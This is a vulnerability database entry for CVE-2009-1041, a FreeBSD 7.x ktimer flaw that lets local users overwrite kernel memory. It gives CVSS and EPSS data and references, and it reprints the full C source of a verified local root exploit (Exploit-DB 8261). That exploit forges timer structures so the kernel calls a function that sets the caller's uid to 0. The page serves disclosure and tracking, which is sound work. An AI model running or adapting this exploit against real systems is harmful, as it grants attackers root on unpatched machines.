CVE-2009-1041 : Detail

CVE-2009-1041

Overflow
0.04%V3
Local
2009-03-24
18h00 +00:00
2017-09-28
10h57 +00:00
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CVE Descriptions

The ktimer feature (sys/kern/kern_time.c) in FreeBSD 7.0, 7.1, and 7.2 allows local users to overwrite arbitrary kernel memory via an out-of-bounds timer value.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 8261

Publication date : 2009-03-22 23h00 +00:00
Author : mu-b
EDB Verified : Yes

/* bsd-ktimer.c * * Copyright (c) 2008 by <[email protected]> * <[email protected]> * * FreeBSD >= 7.0 local kernel root exploit * by christer/mu-b - Mon 2 June 2008 * * - Tested on: FreeBSD 7.0 * FreeBSD 7.1 * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$! */ #define _KERNEL #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/queue.h> #include <sys/signalvar.h> #include <sys/_lock.h> #include <sys/_mutex.h> #include <altq/altq.h> #include <sys/timers.h> #include <string.h> #include <unistd.h> #include <sys/param.h> #include <sys/linker.h> #include <sys/proc.h> #define ITPSIZE 0x08000000 #define LOOKUP 0xD0000000 /* some prototypes to prevent compiler bitching */ int ktimer_create(int, int, int *); int ktimer_delete(int); int kldsym(int, int, void *); static void give_me_root() { struct thread *thread; asm("movl %%fs:0,%0": "=r"(thread)); thread->td_proc->p_ucred->cr_uid=0; } int main (int argc, char **argv) { struct itimer **itp_page, *it_page; struct kld_sym_lookup ksym; void *zpage[16]; int i, r; printf ("FreeBSD local kernel root exploit\n" "by: christer/mu-b\n" "http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$!\n\n"); itp_page = mmap (0, ITPSIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON, -1, 0); if (itp_page < 0) { fprintf (stderr, "%s: failed to mmap %d-bytes\n", argv[0], ITPSIZE); exit (EXIT_FAILURE); } printf ("* allocated pointer page: 0x%08X -> 0x%08X [%d-bytes]\n", (int) itp_page, (int) itp_page + ITPSIZE, ITPSIZE); it_page = mmap (itp_page + ITPSIZE, sizeof (struct itimer), PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON, -1, 0); if (it_page < 0) { fprintf (stderr, "%s: failed to mmap %d-bytes\n", argv[0], sizeof (struct itimer)); exit (EXIT_FAILURE); } printf ("* allocated itimer struct: 0x%08X -> 0x%08X [%d-bytes]\n", (int) it_page, (int) it_page + sizeof (struct itimer), sizeof (struct itimer)); printf ("* filling pointer page... "); fflush (stdout); for (i = 0; i < ITPSIZE / sizeof (struct itimer *); i++) itp_page[i] = it_page; printf ("done\n"); ksym.version = sizeof(ksym); ksym.symname = "posix_clocks"; if (kldsym(0,KLDSYM_LOOKUP,&ksym) < 0) { fprintf (stderr, "%s: failed to lookup posix_clocks\n", argv[0]); exit (EXIT_FAILURE); } printf("* found posix_clocks @ [0x%x]\n",(unsigned )ksym.symvalue); for (i = 0; i < 16; i++) zpage[i] = (void *) give_me_root; memset (it_page, 0, sizeof (struct itimer)); /* DIRTY REPLACE WITH EXACT STRUCTURE MEMBER */ for (i = 0; i < 10; i++) ((unsigned int *) it_page)[i] = 4; it_page->it_flags = 0x00; it_page->it_usecount = 0; it_page->it_clockid = ((int) &zpage[8] - ksym.symvalue) / 20; printf ("* it_page->it_clockid: 0x%08X [access @0x%08X]\n", it_page->it_clockid,(unsigned )&zpage[8]); printf ("* ktimer_delete (0x%08X)\n", LOOKUP); sleep (2); ktimer_create (0, 0, &i); r = ktimer_delete (LOOKUP); printf ("* ktimer_delete: %d %d\n", r, it_page->it_flags); return (EXIT_SUCCESS); } // milw0rm.com [2009-03-23]

Products Mentioned

Configuraton 0

Freebsd>>Freebsd >> Version 7.0

Freebsd>>Freebsd >> Version 7.0

    Freebsd>>Freebsd >> Version 7.0

      Freebsd>>Freebsd >> Version 7.0

        Freebsd>>Freebsd >> Version 7.0

          Freebsd>>Freebsd >> Version 7.0

            Freebsd>>Freebsd >> Version 7.0

              Freebsd>>Freebsd >> Version 7.1

              Freebsd>>Freebsd >> Version 7.1

                Freebsd>>Freebsd >> Version 7.1

                  Freebsd>>Freebsd >> Version 7.1

                    Freebsd>>Freebsd >> Version 7.1

                      Freebsd>>Freebsd >> Version 7.2

                      References

                      https://www.exploit-db.com/exploits/8261
                      Tags : exploit, x_refsource_EXPLOIT-DB
                      http://www.securitytracker.com/id?1021882
                      Tags : vdb-entry, x_refsource_SECTRACK
                      http://www.securityfocus.com/bid/34196
                      Tags : vdb-entry, x_refsource_BID